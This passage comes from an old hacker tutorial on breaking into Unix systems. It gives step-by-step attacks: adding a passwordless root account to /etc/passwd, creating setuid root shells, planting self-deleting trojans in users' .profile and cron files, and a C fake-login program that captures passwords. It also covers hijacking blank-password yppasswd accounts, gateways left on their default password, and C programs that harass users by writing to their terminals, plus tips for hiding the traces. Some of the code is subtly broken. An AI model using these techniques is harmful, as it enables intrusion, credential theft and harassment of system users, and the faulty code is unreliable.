  9237.              is what it sounds like.  Its a log file, for the program SU.
  9238.              What it is for is to keep a record of who uses SU and when.
  9239.              whenever you use SU, your best bet would be to edit this file
  9240.              if possible, and I'll tell you how and why in the section
  9241.              about using "su".
  9242.  
  9243. /usr/adm/loginlog
  9244. or /usr/adm/acct/loginlog -
  9245.         This is a log file, keeping track of the logins.
  9246.         Its purpose is merely for accounting and "security review".  Really,
  9247.         sometimes this file is never found, since a lot of systems keep the
  9248.         logging off.
  9249.  
  9250. /usr/adm/errlog
  9251. or errlog -     This is the error log.  It could be located anywhere.  It
  9252.                 keeps track of all serious and even not so serious errors.
  9253.                 Usually, it will contain an error code, then a situation.
  9254.                 the error code can be from 1-10, the higher the number, the
  9255.                 worse the error.  Error code 6 is usually used when you try
  9256.                 to hack.  "login" logs your attempt in errlog with error code
  9257.                 6.  Error code 10 means, in a nutshell, "SYSTEM CRASH".
  9258.  
  9259. /usr/adm/culog - This file contains entries that tell when you used cu,
  9260.                  where you called and so forth.  Another security thing.
  9261.  
  9262. /usr/mail/<userLogin> - this is where the program "mail" stores its mail.
  9263.                         to read a particular mailbox, so they are called,
  9264.                         you must be that user, in the user group "mail" or
  9265.                         root.  each mailbox is just a name.  for instance,
  9266.                         if my login was "sirhack" my mail file would usually
  9267.                         be: /usr/mail/sirhack
  9268.  
  9269. /usr/lib/cron/crontabs - This contains the instructions for cron, usually.
  9270.                          Will get into this later.
  9271.  
  9272. /etc/shadow - A "shadowed" password file.  Will talk about this later.
  9273.  
  9274.  
  9275. -- The BIN account --
  9276.  
  9277.        Well, right now, I'd like to take a moment to talk about the account
  9278. "bin".  While it is only a user level account, it is very powerful.  It is
  9279. the owner of most of the files, and on most systems, it owns /etc/passwd,
  9280. THE most important file on a unix.  See, the bin account owns most of the
  9281. "bin" (binary) files, as well as others used by the binary files, such
  9282. as login.  Now, knowing what you know about file permissions, if bin owns
  9283. the passwd file, you can edit passwd and add a root entry for yourself.
  9284. You could do this via the edit command:
  9285. $ ed passwd
  9286. 10999 [The size of passwd varies]
  9287. * a
  9288. sirhak::0:0:Mr. Hackalot:/:/bin/sh
  9289. {control-d}
  9290. * w
  9291. * q
  9292. $
  9293. Then, you could say: exec login, then you could login as sirhack, and
  9294. you'd be root.
  9295.  
  9296. /\/\/\/\/\/\/\/\/
  9297. Hacking..........
  9298. /\/\/\/\/\/\/\/\/
  9299.  
  9300. --------------
  9301. Account Adding
  9302. --------------
  9303.  
  9304.         There are other programs that will add users to the system, instead
  9305. of ed.  But most of these programs will NOT allow a root level user to be
  9306. added, or anything less than a UID of 100.  One of these programs is
  9307. named "adduser".  Now, the reason I have stuck this little section in, is
  9308. for those who want to use a unix for something useful.  Say you want a
  9309. "mailing address".  If the unix has uucp on it, or is a big college,
  9310. chances are, it will do mail transfers.  You'll have to test the unix
  9311. by trying to send mail to a friend somewhere, or just mailing yourself.
  9312. If the mailer is identified as "smail" when you mail yourself (the program
  9313. name will be imbedded in the message) that probably means that the system
  9314. will send out UUCP mail.  This is a good way to keep in contact with people.
  9315. Now, this is why you'd want a semi-permanent account.  The way to achieve this
  9316. is by adding an account similar to those already on the system.  If all the
  9317. user-level accounts (UID >= 100) are three letter abbriviations, say
  9318. "btc" for Bill The Cat, or "brs" for bill ryan smith, add an account
  9319. via adduser, and make a name like sally jane marshall or something
  9320. (they don't expect hackers to put in female names) and have the account
  9321. named sjm.  See, in the account description (like Mr. Hackalot above), that
  9322. is where the real name is usually stored.  So, sjm might look like this:
  9323.      sjm::101:50:Sally Jane Marshall:/usr/sjm:/bin/sh
  9324. Of course, you will password protect this account, right?
  9325. Also, group id's don't have to be above 100, but you must put the account
  9326. into one that exists.  Now, once you login with this account, the first
  9327. thing you'd want to do is execute "passwd" to set a password up.  If you
  9328. don't, chances are someone else 'll do it for you (Then you'll be SOL).
  9329.  
  9330. -------------------
  9331. Set The User ID
  9332. -------------------
  9333.  
  9334.         This is porbably one of the most used schemes.  Setting up an "UID-
  9335. Shell". What does this mean?  Well, it basically means you are going
  9336. to set the user-bit on a program.  The program most commonly used is
  9337. a shell (csh,sh, ksh, etc).  Why?  Think about it:  You'll have access
  9338. to whatever the owner of the file does.  A UID shell sets the user-ID of
  9339. the person who executes it to the owner of the program.  So if root
  9340. owns a uid shell, then you become root when you run it.  This is an
  9341. alternate way to become root.
  9342.  
  9343.         Say you get in and modify the passwd file and make a root level
  9344. account unpassworded, so you can drop in.  Of course, you almost HAVE to
  9345. get rid of that account or else it WILL be noticed eventually.  So, what
  9346. you would do is set up a regular user account for yourself, then, make
  9347. a uid shell.  Usually you would use /bin/sh to do it.  After adding
  9348. the regular user to the passwd file, and setting up his home directory,
  9349. you could do something like this:
  9350. (assume you set up the account: shk)
  9351.  # cp /bin/sh /usr/shk/runme
  9352.  # chmod a+s /usr/shk/runme
  9353.  
  9354. Thats all there would be to it.  When you logged in as shk, you could just
  9355. type in:
  9356.  
  9357.  $ runme
  9358.  #
  9359.  
  9360. See?  You'd then be root.  Here is a thing to do:
  9361.  
  9362. $ id
  9363. uid=104(shk) gid=50(user)
  9364.  
  9365. $ runme
  9366. # id
  9367. uid=104(shk) gid=50(user) euid=0(root)
  9368. #
  9369.  
  9370. The euid is the "effective" user ID.  UID-shells only set the effective
  9371. userid, not the real user-id.  But, the effective user id over-rides the
  9372. real user id.  Now, you can, if you wanted to just be annoying, make
  9373. the utilities suid to root.  What do I mean?  For instance, make 'ls'
  9374. a root 'shell'. :
  9375.  
  9376. # chmod a+s /bin/ls
  9377. # exit
  9378. $ ls -l /usr/fred
  9379. ..
  9380. ......
  9381. etc crap
  9382.  
  9383. Ls would then be able to pry into ANY directory.  If you did the same to
  9384. "cat" you could view any file.  If you did it to rm, you could delete any
  9385. file.  If you did it to 'ed', you could edit any-file (nifty!), anywhere on
  9386. the system (usually).
  9387.  
  9388.  
  9389. How do I get root?
  9390. ------------------
  9391.  
  9392.    Good question indeed.  To make a program set the user-id shell to root,
  9393. you have to be root, unless you're lucky.  What do I mean?  Well, say
  9394. you find a program that sets the user-id to root.  If you have access
  9395. to write to that file, guess what?  you can copy over it, but keep
  9396. the uid bit set.  So, say you see that the program chsh is setting
  9397. the user id too root.  You can copy /bin/sh over it.
  9398.  
  9399. $ ls -l
  9400. rwsrwsrws  root     other  10999 Jan 4  chsh
  9401. $ cp /bin/sh chsh
  9402. $ chsh
  9403. #
  9404.  
  9405. See?  That is just one way.  There are others, which I will now talk
  9406. about.
  9407.  
  9408. More on setting the UID
  9409. -----------------------
  9410.  
  9411.         Now, the generic form for making a program set the User-ID bit
  9412. is to use this command:
  9413.  
  9414. chmod a+s file
  9415.  
  9416. Where 'file' is a valid existing file.  Now, only those who own the file
  9417. can set the user ID bit.  Remember, anything YOU create, YOU own, so if
  9418. you copy th /bin/sh, the one you are logged in as owns it, or IF the
  9419. UID is set to something else, the New UID owns the file.  This brings
  9420. me to BAD file permissions.
  9421.  
  9422.  
  9423.  
  9424. II. HACKING : Bad Directory Permissions
  9425.  
  9426.         Now, what do I mean for bad directory permissions?  Well, look for
  9427. files that YOU can write to, and above all, DIRECTORIES you can write to.
  9428. If you have write permissions on a file, you can modify it.  Now, this comes
  9429. in handy when wanting to steal someone's access.  If you can write to
  9430. a user's .profile, you are in business.  You can have that user's .profile
  9431. create a suid shell for you to run when You next logon after the user.
  9432. If the .profile is writable to you, you can do this:
  9433.  
  9434. $ ed .profile
  9435. [some number will be here]
  9436. ? a
  9437. cp /bin/sh .runme
  9438. chmod a+x .runme
  9439. chmod a+s .runme
  9440. (control-d)
  9441. ? w
  9442. [new filesize will be shown]
  9443. ? q
  9444. $
  9445.  
  9446.   Now, when the user next logs on, the .profile will create .runme which
  9447.   will set your ID to the user whose .profile you changed.  Ideally, you'll
  9448.   go back in and zap those lines after the suid is created, and you'll create
  9449.   a suid somewhere else, and delete the one in his dir.  The .runme will
  9450.   not appear in the user's REGULAR directory list, it will only show up
  9451.   if he does "ls -a" (or ls with a -a combination), because, the '.' makes
  9452.   a file hidden.
  9453.  
  9454. The above was a TROJAN HORSE, which is one of the most widely used/abused
  9455. method of gaining more power on a unix.  The above could be done in C via
  9456. the system() command, or by just plain using open(), chmod(), and the like.
  9457. * Remember to check and see if the root user's profile is writeable *
  9458. * it is located at /.profile (usually) *
  9459.  
  9460.  
  9461.    The BEST thing that could happen is to find a user's directory writeable
  9462.    by you.  Why?  well, you could replace all the files in the directory
  9463.    with your own devious scripts, or C trojans.  Even if a file is not
  9464.    writeable by you, you can still overwrite it by deleteing it.  If you
  9465.    can read various files, such as the user's .profile, you can make a
  9466.    self deleting trojan as so:
  9467.  
  9468.  $ cp .profile temp.pro
  9469.  $ ed .profile
  9470.  1234
  9471.  ? a
  9472.  cp /bin/sh .runme
  9473.  chmod a+x .runme
  9474.  chmod a+s .runme
  9475.  mv temp.pro .profile
  9476.  (control-d)
  9477.  ? w
  9478.  [another number]
  9479.  ? q
  9480.  $ chown that_user temp.pro
  9481.   What happens is that you make a copy of the .profile before you change it.
  9482.   Then, you change the original.  When he runs it, the steps are made, then
  9483.   the original version is placed over the current, so if the idiot looks in
  9484.   his .profile, he won't see anything out of the ordinary, except that he
  9485.   could notice in a long listing that the change date is very recent, but
  9486.   most users are not paranoid enough to do extensive checks on their files,
  9487.   except sysadm files (such as passwd).
  9488.  
  9489.   Now, remember, even though you can write to a dir, you may not be able
  9490.   to write to a file without deleting it.  If you do not have write perms
  9491.   for that file, you'll have to delete it and write something in its place
  9492.   (put a file with the same name there). The most important thing to remember
  9493.   if you have to delete a .profile is to CHANGE the OWNER back after you
  9494.   construct a new one (hehe) for that user.  He could easily notice that his
  9495.   .profile was changed and he'll know who did it.  YES, you can change the
  9496.   owner to someone else besides yourself and the original owner (as to throw
  9497.   him off), but this is not wise as keeping access usually relies on the fact
  9498.   that they don't know you are around.
  9499.  
  9500.   You can easily change cron files if you can write to them.  I'm not going
  9501.   to go into detail about cronfile formats here, just find the crontab files
  9502.   and modify them to create a shell somewhere as root every once in a while,
  9503.   and set the user-id.
  9504.  
  9505. III. Trojan Horses on Detached terminals.
  9506.         Basically this:  You can send garbage to a user's screen and
  9507.         mess him up bad enough to force a logoff, creating a detached
  9508.         account.  Then you can execute a trojan horse off that terminal in
  9509.         place of login or something, so the next one who calls can hit the
  9510.         trojan horse.  This USUALLY takes the form of a fake login and
  9511.         write the username/pw entererred to disk.
  9512.  
  9513.         Now, there are other trojan horses available for you to write.  Now,
  9514.         don't go thinking about a virus, for they don't work unless ROOT runs
  9515.         them.  Anyway, a common trjan would be a shell script to get the
  9516.         password, and mail it to you.  Now, you can replace the code for
  9517.         the self deleting trojan with one saying something like:
  9518.         echo "login: \c"
  9519.         read lgin
  9520.         echo off (works on some systems)
  9521.         (if above not available...: stty -noecho)
  9522.         echo "Password:\c"
  9523.         read pw
  9524.         echo on
  9525.         echo "Login: $lgin - Pword: $pw" | mail you
  9526.  
  9527.         Now, the best way to use this is to put it in a seperate script file
  9528.         so it can be deleted as part of the self deleting trojan.  A quick
  9529.         modification, removing the "login: " and leaving the password
  9530.         may have it look like SU, so you can get the root password.  But
  9531.         make sure the program deletes itself.  Here is a sample trojan
  9532.         login in C:
  9533.  
  9534.         #include <stdio.h>
  9535.         /* Get the necessary defs.. */
  9536.         main()
  9537.         {
  9538.           char *name[80];
  9539.           char *pw[20];
  9540.           FILE *strm;
  9541.           printf("login: ");
  9542.           gets(name);
  9543.           pw = getpass("Password:");
  9544.           strm = fopen("/WhereEver/Whateverfile","a");
  9545.           fprintf(strm,"User: (%s), PW [%s]\n",name,pw);
  9546.           fclose(strm);
  9547.           /* put some kind of error below... or something... */
  9548.           printf("Bus Error - Core Dumped\n");
  9549.           exit(1);
  9550.           }
  9551.  
  9552.         The program gets the login, and the password, and appends it to
  9553.         a file (/wherever/whateverfile), and creates the file if it can,
  9554.         and if its not there.  That is just an example.  Network Annoyances
  9555.         come later.
  9556.  
  9557.  IV.  Odd systems
  9558.  
  9559.         There may be systems you can log in to with  no problem, and find some
  9560. slack menu, database, or word processor as your shell, with no way to the
  9561. command interpreter (sh, ksh, etc..).  Don't give up here.  Some systems will
  9562. let you login as root, but give you a menu which will allow you to add an
  9563. account.  However, ones that do this usually have some purchased software
  9564. package running, and the people who made the software KNOW that the people
  9565. who bought it are idiots, and the thing will sometimes only allow you to
  9566. add accounts with user-id 100 or greater, with their special menushell as
  9567. a shell.  You probably won't get to pick the shell, the program will probably
  9568. stick one on the user you created which is very limiting.  HOWEVER, sometimes
  9569. you can edit accounts, and it will list accounts you can edit on the screen.
  9570. HOWEVER, these programs usually only list those with UIDS > 100 so you don't
  9571. edit the good accounts, however, they donot stop you from editing an account
  9572. with a UID < 100.  The "editing" usually only involves changing the password
  9573. on the account.  If an account has a * for a password, the standard passwd
  9574. program which changes programs, will say no pw exists, and will ask you to
  9575. enter one. (wallah! You have just freed an account for yourself.  Usually
  9576. bin and sys have a * for a password).  If one exists you'll have to enter
  9577. the old Password (I hope you know it!) for that account.  Then, you are
  9578. in the same boat as before. (BTW -- These wierd systems are usually
  9579. Xenix/386, Xenix/286, or Altos/286)
  9580.         With word processors, usually you can select the load command,
  9581. and when the word processor prompts for a file, you can select the passwd
  9582. file, to look for open accounts, or at least valid ones to hack.  An example
  9583. would be the informix system.  You can get a word processor with that such
  9584. as Samna word, or something, and those Lamers will not protect against
  9585. shit like that.  Why?  The Passwd file HAS to be readable by all for the most
  9586. part, so each program can "stat" you.  However, word processors could be made
  9587. to restrict editing to a directory, or set of directories.  Here is an
  9588. example:
  9589.  
  9590.         $ id
  9591.         uid=100(sirhack) gid=100(users)
  9592.         $ sword
  9593.         (word processor comes up)
  9594.         (select LOAD A FILE)
  9595.         <Edit File>: /etc/passwd
  9596.         <Loading..>
  9597.         (you see: )
  9598.         root:dkdjkgsf!!!:0:0:Sysop:/:/bin/sh
  9599.         sirhack:dld!k%%?%:100:100:Sir Hackalot:/usr/usr1/sirhack:/bin/sh
  9600.         datawiz::101:100:The Data Wizard:/usr/usr1/datawiz:/bin/sh
  9601.         ...
  9602.  
  9603. Now I have found an account to take over! "datawiz" will get me in with no
  9604. trouble, then I can change his password, which he will not like at all.
  9605. Some systems leave "sysadm" unpassworded (stupid!), and now, Most versions
  9606. of Unix, be it Xenix, Unix, BSD, or whatnot, they ship a sysadm shell which
  9607. will menu drive all the important shit, even creating users, but you must
  9608. have ansi or something.
  9609.  
  9610.         You can usually tell when you'll get a menu.  Sometimes on UNIX
  9611.         SYSTEM V, when it says TERM = (termtype), and is waiting for
  9612.         you to press return or whatever, you will probably get a menu.. ack.
  9613.  
  9614. V. Shadowed Password files
  9615.         Not much to say about this.  all it is, is when every password field
  9616.         in the password file has an "x" or just a single character.  What
  9617.         that does is screw you, becuase you cannot read the shadowed password
  9618.         file, only root can, and it contains all the passwords, so you will
  9619.         not know what accounts have no passwords, etc.
  9620.  
  9621. There are a lot of other schemes for hacking unix, lots of others, from
  9622. writing assembly code that modifies the PCB through self-changing code which
  9623. the interrupt handler doesn't catch, and things like that.  However, I do
  9624. not want to give away everything, and this was not meant for advanced Unix
  9625. Hackers, or atleast not the ones that are familiar with 68xxx, 80386 Unix
  9626. assembly language or anything.  Now I will Talk about Internet.
  9627.  
  9628.  
  9629.  
  9630. --->>> InterNet <<<---
  9631.         Why do I want to talk about InterNet?  Well, because it is a prime
  9632. example of a TCP/IP network, better known as a WAN (Wide-Area-Network).
  9633. Now, mainly you will find BSD systems off of the Internet, or SunOS, for
  9634. they are the most common.  They may not be when System V, Rel 4.0, Version
  9635. 2.0 comes out.  Anyway,  these BSDs/SunOSs like to make it easy to jump
  9636. from one computer to another once you are logged in.  What happens is
  9637. EACH system has a "yello page password file". Better known as yppasswd.
  9638. If you look in there, and see blank passwords you can use rsh, rlogin, etc..
  9639. to slip into that system.  One system in particular I came across had a
  9640. a yppasswd file where *300* users had blank passwords in the Yellow Pages.
  9641. Once I got in on the "test" account, ALL I had to do was select who I wanted
  9642. to be, and do: rlogin -l user (sometimes -n).  Then it would log me onto
  9643. the system I was already on, through TCP/IP.  However, when you do this,
  9644. remember that the yppasswd only pertains to the system you are on at
  9645. the time.  To find accounts, you could find the yppasswd file and do:
  9646.  
  9647. % cat yppasswd | grep ::
  9648.  
  9649. Or, if you can't find yppasswd..
  9650.  
  9651. % ypcat passwd | grep ::
  9652.  
  9653. On ONE system (which will remain confidential), I found the DAEMON account
  9654. left open in the yppasswd file.  Not bad.  Anyway,  through one system
  9655. on the internet, you can reach many.  Just use rsh, or rlogin, and look
  9656. in the file: /etc/hosts for valid sites which you can reach.  If you get
  9657. on to a system, and rlogin to somewhere else, and it asks for a password,
  9658. that just means one of two things:
  9659.  
  9660. A. Your account that you have hacked on the one computer is on the target
  9661.    computer as well.  Try to use the same password (if any) you found the
  9662.    hacked account to have.  If it is a default, then it is definitly on the
  9663.    other system, but good luck...
  9664.  
  9665. B. rlogin/rsh passed your current username along to the remote system, so it
  9666.    was like typing in your login at a "login: " prompt.  You may not exist on
  9667.    the other machine.  Try "rlogin -l login_name", or rlogin -n name..
  9668.    sometimes, you can execute "rwho" on another machine, and get a valid
  9669.    account.
  9670.  
  9671. Some notes on Internet servers.  There are "GATEWAYS" that you can get into
  9672. that will allow access to MANY internet sites.  They are mostly run off
  9673. a modified GL/1 or GS/1.  No big deal.  They have help files.  However,
  9674. you can get a "privilged" access on them, which will give you CONTROL of
  9675. the gateway.. You can shut it down, remove systems from the Internet, etc..
  9676. When you request to become privileged, it will ask for a password.  There is
  9677. a default.  The default is "system".  I have come across *5* gateways with
  9678. the default password.  Then again, DECNET has the same password, and I have
  9679. come across 100+ of those with the default privileged password.  CERT Sucks.
  9680. a Gateway that led to APPLE.COM had the default password.  Anyone could
  9681. have removed apple.com from the internet.  Be advised that there are many
  9682. networks now that use TCP/IP.. Such as BARRNET, LANET, and many other
  9683. University networks.
  9684.  
  9685. --** Having Fun **--
  9686.  
  9687. Now, if nothing else, you should atleast have some fun.  No, I do not mean
  9688. go trashing hardrives, or unlinking directories to take up inodes, I mean
  9689. play with online users.  There are many things to do.  Re-direct output
  9690. to them is the biggie.  Here is an example:
  9691.  $ who
  9692.  loozer   tty1
  9693.  sirhack  tty2
  9694.  $ banner You Suck >/dev/tty1
  9695.  $
  9696.  That sent the output to loozer.  The TTY1 is where I/O is being performed
  9697.  to his terminal (usually a modem if it is a TTY).  You can repetitiously
  9698.  banner him with a do while statement in shell, causing him to logoff. Or
  9699.  you can get sly, and just screw with him.  Observe this C program:
  9700.  
  9701. #include <stdio.h>
  9702. #include <fcntl.h>
  9703. #include <string.h>
  9704.  
  9705. main(argc,argument)
  9706. int argc;
  9707. char *argument[];
  9708. {
  9709.     int handle;
  9710.     char *pstr,*olm[80];
  9711.     char *devstr = "/dev/";
  9712.     int acnt = 2;
  9713.     FILE *strm;
  9714.     pstr = "";
  9715.     if (argc == 1) {
  9716.                 printf("OL (OneLiner) Version 1.00 \n");
  9717.                 printf("By Sir Hackalot [PHAZE]\n");
  9718.         printf("\nSyntax: ol tty message\n");
  9719.         printf("Example: ol tty01 You suck\n");
  9720.         exit(1);
  9721.     }
  9722.     printf("OL (OneLiner) Version 1.0\n");
  9723.         printf("By Sir Hackalot [PHAZE]\n");
  9724.     if (argc == 2) {
  9725.         strcpy(olm,"");
  9726. ?        printf("\nDummy! You forgot to Supply a ONE LINE MESSAGE\n");
  9727.         printf("Enter one Here => ");
  9728.         gets(olm);
  9729.     }
  9730.     strcpy(pstr,"");
  9731.     strcat(pstr,devstr);
  9732.         strcat(pstr,argument[1]);
  9733.     printf("Sending to: [%s]\n",pstr);
  9734.     strm = fopen(pstr,"a");
  9735.     if (strm == NULL) {
  9736.         printf("Error writing to: %s\n",pstr);
  9737.         printf("Cause: No Write Perms?\n");
  9738.         exit(2);
  9739.     }
  9740.     if (argc == 2) {
  9741.                 if (strcmp(logname(),"sirhack") != 0) fprintf(strm,"Message from
  9742.  (%s): \n",logname());
  9743.                 fprintf(strm,"%s\n",olm);
  9744.         fclose(strm);
  9745.         printf("Message Sent.\n");
  9746.         exit(0);
  9747.     }
  9748.         if (argc > 2) {
  9749.                 if (strcmp(logname(),"sirhack") != 0) fprintf(strm,"Message from
  9750.  (%s):\n",logname());
  9751.         while (acnt <= argc - 1) {
  9752.             fprintf(strm,"%s ",argument[acnt]);
  9753.             acnt++;
  9754.         }
  9755.         fclose(strm);
  9756.         printf("Message sent!\n");
  9757.         exit(0);
  9758.     }
  9759. }
  9760.  
  9761. What the above does is send one line of text to a device writeable by you
  9762. in /dev.  If you try it on a user named "sirhack" it will notify sirhack
  9763. of what you are doing.  You can supply an argument at the command line, or
  9764. leave a blank message, then it will prompt for one.  You MUST supply a
  9765. Terminal.  Also, if you want to use ?, or *, or (), or [], you must not
  9766. supply a message at the command line, wait till it prompts you.  Example:
  9767.  
  9768. $ ol tty1 You Suck!
  9769. OL (OneLiner) Version 1.00
  9770. by Sir Hackalot [PHAZE]
  9771. Sending to: [/dev/tty1]
  9772. Message Sent!
  9773. $
  9774. Or..
  9775. $ ol tty1
  9776. OL (OneLiner) Version 1.00
  9777. by Sir Hackalot [PHAZE]
  9778. Dummy! You Forgot to Supply a ONE LINE MESSAGE!
  9779. Enter one here => Loozer! Logoff (NOW)!! ?G?G
  9780. Sending to: [/dev/tty1]
  9781. Message Sent!
  9782. $
  9783.  
  9784.   You can even use it to fake messages from root.  Here is another:
  9785.  
  9786.  
  9787. /*
  9788.  * Hose another user
  9789.  */
  9790.  
  9791. #include <stdio.h>
  9792. #include <sys/types.h>
  9793. #include <sys/stat.h>
  9794. #include <signal.h>
  9795. #include <utmp.h>
  9796. #include <time.h>
  9797. #include <termio.h>
  9798. #include <sys/utsname.h>
  9799.  
  9800. #define NMAX    sizeof(ubuf.ut_name)
  9801.  
  9802. struct    utmp ubuf;
  9803. struct    termio oldmode, mode;
  9804. struct    utsname name;
  9805. int yn;
  9806. int loop = 0;
  9807. char    *realme[50] = "Unknown";
  9808. char    *strcat(), *strcpy(), me[50]  = "???", *him, *mytty, histty[32];
  9809. char    *histtya, *ttyname(), *strrchr(), *getenv();
  9810. int    signum[] = {SIGHUP, SIGINT, SIGQUIT, 0}, logcnt, eof(), timout();
  9811. FILE    *tf;
  9812.  
  9813. main(argc, argv)
  9814. int argc;
  9815. char *argv[];
  9816. {
  9817.     register FILE *uf;
  9818.     char c1, lastc;
  9819.     int goodtty = 0;
  9820.     long clock = time((long *) 0);
  9821.     struct tm *localtime();
  9822.     struct tm *localclock = localtime( &clock );
  9823.     struct stat stbuf;
  9824.     char psbuf[20], buf[80], window[20], junk[20];
  9825. ?
  9826.     FILE *pfp, *popen();
  9827.  
  9828.     if (argc < 2) {
  9829.                 printf("usage: hose user [ttyname]\n");
  9830.         exit(1);
  9831.     }
  9832.         him = argv[1];
  9833.  
  9834.     if (argc > 2)
  9835.         histtya = argv[2];
  9836.     if ((uf = fopen("/etc/utmp", "r")) == NULL) {
  9837.         printf("cannot open /etc/utmp\n");
  9838.         exit(1);
  9839.     }
  9840.     cuserid(me);
  9841.     if (me == NULL) {
  9842.         printf("Can't find your login name\n");
  9843.         exit(1);
  9844.     }
  9845.     mytty = ttyname(2);
  9846.     if (mytty == NULL) {
  9847.         printf("Can't find your tty\n");
  9848.         exit(1);
  9849.     }
  9850.     if (stat(mytty, &stbuf) < 0) {
  9851.         printf("Can't stat your tty -- This System is bogus.\n");
  9852.     }
  9853.     if ((stbuf.st_mode&02) == 0) {
  9854.         printf("You have write permissions turned off (hehe!).\n");
  9855.     }
  9856.  
  9857.     if (histtya) {
  9858.         if (!strncmp(histtya, "/dev/", 5))
  9859.             histtya = strrchr(histtya, '/') + 1;
  9860.         strcpy(histty, "/dev/");
  9861.         strcat(histty, histtya);
  9862.     }
  9863.     while (fread((char *)&ubuf, sizeof(ubuf), 1, uf) == 1) {
  9864.         if (ubuf.ut_name[0] == '\0')
  9865.             continue;
  9866.         if (!strncmp(ubuf.ut_name, him, NMAX)) {
  9867. ?            logcnt++;
  9868. ?            if (histty[0]==0) {
  9869.                 strcpy(histty, "/dev/");
  9870.                 strcat(histty, ubuf.ut_line);
  9871.             }
  9872.             if (histtya) {
  9873.                 if (!strcmp(ubuf.ut_line, histtya))
  9874.                     goodtty++;
  9875.             }
  9876.         }
  9877.     }
  9878.     fclose(uf);
  9879.         if (logcnt==0) {
  9880.         printf("%s not found! (Not logged in?)\n", him);
  9881.         exit(1);
  9882.     }
  9883.  
  9884.     if (histtya==0 && logcnt > 1) {
  9885.         printf("%s logged more than once\nwriting to %s\n", him, histty+5);
  9886.     }
  9887.     if (access(histty, 0) < 0) {
  9888.         printf("No such tty? [%s]\n",histty);
  9889. ??        exit(1);
  9890. ?    }
  9891.     signal(SIGALRM, timout);
  9892.     alarm(5);
  9893.     if ((tf = fopen(histty, "w")) == NULL)
  9894.         goto perm;
  9895.     alarm(0);
  9896.     if (fstat(fileno(tf), &stbuf) < 0)
  9897.         goto perm;
  9898.     if (geteuid() != 0 && (stbuf.st_mode&02) == 0)
  9899.         goto perm;
  9900.     ioctl(0, TCGETA, &oldmode);        /* save tty state */
  9901.     ioctl(0, TCGETA, &mode);
  9902.     sigs(eof);
  9903.     uname(&name);
  9904.         if (strcmp(him,"YOURNAMEHERE") == 0) yn = 1;
  9905.   if (yn == 1 ) {
  9906.     fprintf(tf, "\r(%s attempted to HOSE You with NW)\r\n",me);
  9907.     fclose(tf);
  9908.     printf("Critical Error Handler: %s running conflicting process\n",him);
  9909.     exit(1);
  9910. }
  9911.     fflush(tf);
  9912.     mode.c_cc[4] = 1;
  9913.     mode.c_cc[5] = 0;
  9914.     mode.c_lflag &= ~ICANON;
  9915.     ioctl(0, TCSETAW, &mode);
  9916.     lastc = '\n';
  9917.  
  9918.  
  9919. printf("Backspace / Spin Cursor set lose on: %s\n",him);
  9920.    while (loop == 0) {
  9921.    c1 = '\b';
  9922.    write(fileno(tf),&c1,1);
  9923.    sleep(5);
  9924. fprintf(tf,"\\\b|\b/\b-\b+\b");
  9925.    fflush(tf);
  9926.    }
  9927.  
  9928.  
  9929.  
  9930.  
  9931. perm:
  9932. printf("Write Permissions denied!\n");
  9933. exit(1);
  9934. }
  9935.  
  9936. timout()
  9937. {
  9938.  
  9939. printf("Timeout opening their tty\n");
  9940. exit(1);
  9941. }
  9942.  
  9943. eof()
  9944. {
  9945. printf("Bye..\n");
  9946. ioctl(0, TCSETAW, &oldmode);
  9947. exit(0);
  9948. }
  9949.  
  9950. ex()
  9951. {
  9952.     register i;
  9953.     sigs(SIG_IGN);
  9954.     i = fork();
  9955.     if (i < 0) {
  9956.         printf("Try again\n");
  9957.         goto out;
  9958.     }
  9959.     if (i == 0) {
  9960.         sigs((int (*)())0);
  9961.         execl(getenv("SHELL")?getenv("SHELL"):"/bin/sh","sh","-t",0);
  9962.         exit(0);
  9963.     }
  9964.     while(wait((int *)NULL) != i)
  9965.         ;
  9966.     printf("!\n");
  9967. out:
  9968.     sigs(eof);
  9969. }
  9970.  
  9971. sigs(sig)
  9972. int (*sig)();
  9973. {
  9974.     register i;
  9975.     for (i=0; signum[i]; i++)
  9976.         signal(signum[i], sig);
  9977. }
  9978.  
  9979.  
  9980.  
  9981. What the above is, is a modified version of the standard write command.
  9982. What it does, is spin the cursor once, then backspace once over the
  9983. screen of the user it is run on. All though, it does not physically affect
  9984. input, the user thinks it does.  therefore, he garbles input.  The sleep(xx)
  9985. can be changed to make the stuff happen more often, or less often.
  9986. If you put your login name in the "YOURNAMEHERE" slot, it will protect you
  9987. from getting hit by it, if someone off a Public access unix leeches the
  9988. executable from your directory.
  9989. You could make a shorter program that does almost the same thing, but
  9990. you have to supply the terminal, observe:
  9991.  
  9992. /* Backspace virus, by Sir Hackalot [Phaze] */
  9993. #include <stdio.h>
  9994. #include <fcntl.h>
  9995. main(argc,argv)
  9996. char *argv[];
  9997. int argc;
  9998. {
  9999.         int x = 1;
  10000.         char *device = "/dev/";
  10001.         FILE *histty;
  10002.         if (argc == 1) {
  10003.         printf("Bafoon.  Supply a TTY.\n");
  10004.         exit(1);
  10005.         }
  10006.         strcat(device,argv[1]);
  10007.         /* Make the filename /dev/tty.. */
  10008.         histty = fopen(device,"a");
  10009.         if (histty == NULL) {
  10010.         printf("Error opening/writing to tty.  Check their perms.\n");
  10011.         exit(1);
  10012.         }
  10013.         printf("BSV - Backspace virus, By Sir Hackalot.\n");
  10014.         printf("The Sucker on %s is getting it!\n",device);
  10015.         while (x == 1) {
  10016.         fprintf(histty,"\b\b");
  10017.         fflush(histty);
  10018.         sleep(5);
  10019.         }
  10020.         }
  10021.  
  10022. Thats all there is to it.  If you can write to their tty, you can use this on
  10023. them.  It sends two backspaces to them every approx. 5 seconds.  You
  10024. should run this program in the background.  (&).  Here is an example:
  10025.  
  10026. $ who
  10027. sirhack     tty11
  10028. loozer      tty12
  10029. $ bsv tty12&
  10030. [1]  4566
  10031. BSV - Backspace virus, by Sir Hackalot
  10032. The Sucker on /dev/tty12 is getting it!
  10033. $
  10034.  
  10035. Now, it will keep "attacking" him, until he loggs of, or you kill the process
  10036. (which was 4566 -- when you use &, it gives the pid [usually]).
  10037.  
  10038. ** Note *** Keep in mind that MSDOS, and other OP systems use The CR/LF
  10039. method to terminate a line.  However, the LF terminates a line in Unix.
  10040. you must STRIP CR's on an ascii upload if you want something you upload
  10041. to an editor to work right.  Else, you'll see a ?M at the end of every
  10042. line.  I know that sucks, but you just have to compensate for it.
  10043.  
  10044. I have a number of other programs that annoy users, but that is enough to
  10045. get your imagination going, provided you are a C programmer.  You can annoy
  10046. users other ways.  One thing you can do is screw up the user's mailbox.
  10047. The way to do this is to find a binary file (30k or bigger) on the system
